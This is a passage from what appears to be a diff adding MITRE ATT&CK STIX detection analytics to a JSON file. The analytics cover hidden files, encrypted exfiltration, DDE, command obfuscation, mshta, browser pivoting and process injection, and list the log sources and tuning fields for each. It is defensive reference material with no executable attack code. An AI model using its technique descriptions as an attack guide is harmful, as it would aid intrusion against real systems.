"https://attack.mitre.org/detectionstrategies/DET0502#AN1385", + "external_id": "AN1385" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1385", + "description": "Hidden file creation using leading '.' or file attribute changes with chattr (immutable/hidden flags). Defender view: detect execution of chattr, lsattr anomalies, and unusual hidden files appearing in system directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "Execution of chattr to set +i or +a attributes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:FILE", + "channel": "Creation of hidden files (.*) in sensitive directories (/etc, /var, /usr/bin)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DirectoryScope", + "description": "Restrict hidden file detection to privileged system directories." + }, + { + "field": "AttributeFlags", + "description": "Tune for specific chattr flags (+i immutable, +a append-only) most abused for persistence." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8963772e-2ee5-421e-aec0-b952d05d4efc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0502#AN1386", + "external_id": "AN1386" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1386", + "description": "Hidden files via 'chflags hidden' or Apple-specific attributes, LaunchAgents/LaunchDaemons placed in non-standard hidden directories. Defender view: detect command execution modifying file flags and unusual plist creation in hidden paths.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "Execution of chflags hidden or setfile -a V" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "HiddenDirectories", + "description": "List of directories monitored for hidden plist or agent placement." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a3c087a6-b7dc-464f-9e84-278bf3076ed1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0502#AN1387", + "external_id": "AN1387" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1387", + "description": "Abuse of VMFS or ESXi shell to hide datastore files, renaming/moving VMDK or VMX files into hidden directories. Defender view: anomalous ESXi shell commands or file operations obscuring VM artifacts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "mv, rename, or chmod commands moving VM files into hidden directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "esxi:syslog", + "channel": "Datastore file hidden or renamed unexpectedly" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VMFileScope", + "description": "Restrict to VMDK, VMX, or log files critical for VM operations." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a6299804-cf50-4496-a242-1394ff89c147", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0502#AN1388", + "external_id": "AN1388" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1388", + "description": "Malicious macros or embedded objects hidden within Office documents by renaming streams or using hidden OLE objects. Defender view: detection of hidden macro streams or objects in documents correlated with anomalous execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Detection of hidden macro streams or SetHiddenAttribute actions" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MacroScope", + "description": "Tune detection to specific Office apps and document types where macros are disallowed." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4e5ffb58-75de-4305-a439-98ca3499f45e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0503#AN1389", + "external_id": "AN1389" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1389", + "description": "Detects the execution of non-browser processes establishing outbound encrypted network connections using uncommon symmetric encryption protocols (e.g., AES via PowerShell or custom scripts) to alternate external destinations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PayloadEntropyThreshold", + "description": "Flag high-entropy payloads sent over unexpected protocols." + }, + { + "field": "TimeWindow", + "description": "Define allowable transfer window (e.g., abnormal traffic outside business hours)." + }, + { + "field": "ExecutableAllowlist", + "description": "List of known-good binaries for encrypted traffic (e.g., Chrome, Outlook)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d8978977-d2c8-4c1c-a6c1-0176330e3446", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0503#AN1390", + "external_id": "AN1390" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1390", + "description": "Detects command-line utilities or scripts using encryption libraries or symmetric algorithms (e.g., OpenSSL AES, GPG, Python + PyCrypto) in conjunction with outbound file transfers or traffic to external destinations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "connect" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "conn.log or flow data" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileTransferIndicator", + "description": "Threshold for transferred data size or extension type." + }, + { + "field": "LibraryCallTracking", + "description": "Hooks into use of encryption libraries like `libcrypto.so`, `pycrypto`, `gpg`." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bcab4073-2316-4685-be6c-fb5ab92b22be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0503#AN1391", + "external_id": "AN1391" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1391", + "description": "Detects symmetric key-based encryption operations (e.g., AES via Python, AppleScript, or OpenSSL) followed by unusual outbound connections from non-browser applications or scripted tools.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "log stream process subsystem" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:osquery", + "channel": "socket_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:unifiedlog", + "channel": "log stream network activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApplicationProfileBaseline", + "description": "Expected outbound connection profiles per app." + }, + { + "field": "EncryptionRoutinePattern", + "description": "Indicators of manual encryption operations (e.g., script strings invoking AES)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d73a1356-7f4f-4f54-afca-437736e5f53c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0503#AN1392", + "external_id": "AN1392" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1392", + "description": "Detects unexpected encrypted egress traffic from management services (e.g., hostd) or guest VMs utilizing symmetric encryption without traditional protocols (e.g., FTP with embedded AES ciphertext).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vmkernel", + "channel": "egress log analysis" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "execution + payload hints" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "host switch egress data" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GuestVMExfilWatchlist", + "description": "VMs with data sensitivity labels or outside normal behavior." + }, + { + "field": "ServiceEgressProfile", + "description": "Expected egress destinations and volume for core services." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d9383849-c91c-4eef-88a0-97c2454ca1af", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0504#AN1393", + "external_id": "AN1393" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1393", + "description": "Detects anomalous use of Dynamic Data Exchange (DDE) for code execution, such as Office applications (WINWORD.EXE, EXCEL.EXE) spawning command interpreters, or loading unusual modules through DDEAUTO/DDE formulas. Correlates suspicious parent-child process relationships, registry keys enabling DDE, and module loads inconsistent with normal Office usage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b", + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedParentChildPairs", + "description": "Define legitimate parent-child relationships for Office processes to reduce false positives." + }, + { + "field": "TimeWindow", + "description": "Threshold for correlating Office process creation with subsequent command execution via DDE." + }, + { + "field": "SuspiciousDLLList", + "description": "Maintain allow/block list of DLLs that Office is expected to load." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e6e98024-2fa7-444c-af90-32ec5d4d2666", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0505#AN1394", + "external_id": "AN1394" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1394", + "description": "Detection of command-line activity exhibiting syntactic obfuscation patterns, such as excessive escape characters, base64 encoding, command concatenation, or outlier command length and entropy.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLineEntropyThreshold", + "description": "Used to flag base64 or token-heavy command-line strings" + }, + { + "field": "SuspiciousCharacterCount", + "description": "Escape character and symbol frequency in command-line strings" + }, + { + "field": "TimeWindow", + "description": "Window between command execution and follow-up child or file write behavior" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cad9e775-f40f-42fb-8e86-c7aba249a8e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0505#AN1395", + "external_id": "AN1395" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1395", + "description": "Detection of shell commands that leverage encoded execution, command chaining, excessive piping, or unusual token patterns indicative of obfuscation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linux:osquery", + "channel": "process_events.command_line" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLineTokenCount", + "description": "Tuning value for token or argument count in shell invocations" + }, + { + "field": "EncodedExecRegex", + "description": "Environment-specific regex patterns for encoded or eval'd command lines" + }, + { + "field": "GlobPatternAnomalies", + "description": "Shell-specific globbing or directory traversal string detection" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--20157d55-1760-483c-a3b1-c6e219eeb75c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0505#AN1396", + "external_id": "AN1396" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1396", + "description": "Detection of obfuscated commands via shell, osascript, or AppleScript interpreters using unusual tokens, encoding, variable substitution, or runtime string reconstruction.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "process:spawn, process:exec" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InterpreterParentFilter", + "description": "Limits detection scope to shell or scripting interpreters like zsh, bash, osascript" + }, + { + "field": "ScriptEntropyThreshold", + "description": "Minimum entropy required to consider the command or script obfuscated" + }, + { + "field": "ArgumentLengthDeviation", + "description": "Deviation from baseline for long or highly nested arguments" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e6037bea-ba25-40bf-b681-361d4f901adb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0506#AN1397", + "external_id": "AN1397" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1397", + "description": "Detection of mshta.exe execution where command-line arguments reference remote or local HTA/script content (VBScript/JScript) followed by subsequent file creation, network retrieval, or process spawning that indicates payload execution outside standard Internet Explorer security context. Correlation includes parent process lineage, command-line inspection, and network connection creation to untrusted or anomalous endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLinePattern", + "description": "Regex patterns for mshta.exe arguments referencing remote HTA/script content; may need tuning to exclude known-good internal scripts." + }, + { + "field": "SuspiciousParentProcesses", + "description": "List of parent processes considered suspicious when spawning mshta.exe (e.g., Office applications, script interpreters)." + }, + { + "field": "AllowedHTASources", + "description": "Whitelist of domains/paths from which legitimate HTAs are executed." + }, + { + "field": "TimeWindow", + "description": "Time threshold for correlating mshta.exe execution with subsequent network connections or file creations." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c3629243-7cd6-4e56-9275-73f5752f0f08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0507#AN1398", + "external_id": "AN1398" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1398", + "description": "Adversary gains high integrity or special privileges (e.g., SeDebugPrivilege), locates a running browser process, opens it with write/inject rights, and modifies it (e.g., CreateRemoteThread / DLL load) to inherit cookies/tokens or establish a browser pivot. Optional step: create a new logon session or use explicit credentials, then drive the victim browser to intranet resources.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4672" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "WinEventLog:Security", + "channel": "EventCode=4673" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=8" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BrowserList", + "description": "Set of monitored browsers (chrome.exe, msedge.exe, firefox.exe, iexplore.exe). Adjust per fleet." + }, + { + "field": "AccessMaskSet", + "description": "Access rights implying injection (e.g., 0x1FFFFF, 0x1F3FF, VM_WRITE, VM_OPERATION, CREATE_THREAD). Tune by EDR mapping." + }, + { + "field": "SignerAllowList", + "description": "Allowed module signers within browser processes (e.g., Microsoft, Google). Helps flag unsigned/unknown ImageLoad into browsers." + }, + { + "field": "InternalCIDR", + "description": "Enterprise internal ranges or DNS suffixes to identify intranet pivoting via the browser." + }, + { + "field": "TimeWindow", + "description": "Correlation interval (e.g., 10\u201320 minutes) linking privilege gain \u2192 access \u2192 modification \u2192 network usage." + }, + { + "field": "ParentAllowList", + "description": "Legitimate tools that may automate browsers (e.g., Selenium drivers). Reduce FPs by allowlisting." + }, + { + "field": "UserContext", + "description": "Scope analytics to high-value users, admin workstations, or servers where browsers shouldn\u2019t be automated." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--337976cc-5fd5-49e8-abcb-79f27d19382c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0508#AN1399", + "external_id": "AN1399" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1399", + "description": "Detects process injection by correlating memory manipulation API calls (e.g., VirtualAllocEx, WriteProcessMemory), suspicious thread creation (e.g., CreateRemoteThread), and unusual DLL loads within another process's context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "API calls" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccessMask", + "description": "Specific access rights used during process handle acquisition, e.g., PROCESS_VM_WRITE" + }, + { + "field": "TimeWindow", + "description": "Time correlation window between API calls and thread creation events" + }, + { + "field": "InjectedProcessList", + "description": "Known high-value targets often abused for injection (e.g., lsass.exe, explorer.exe)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--61282e0a-3eae-4358-8821-6c8318961e24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0508#AN1400", + "external_id": "AN1400" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1400", + "description": "Detects ptrace- or memfd-based process injection through audit logs capturing system calls (e.g., ptrace, mmap) targeting running processes along with suspicious file descriptors or memory writes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": 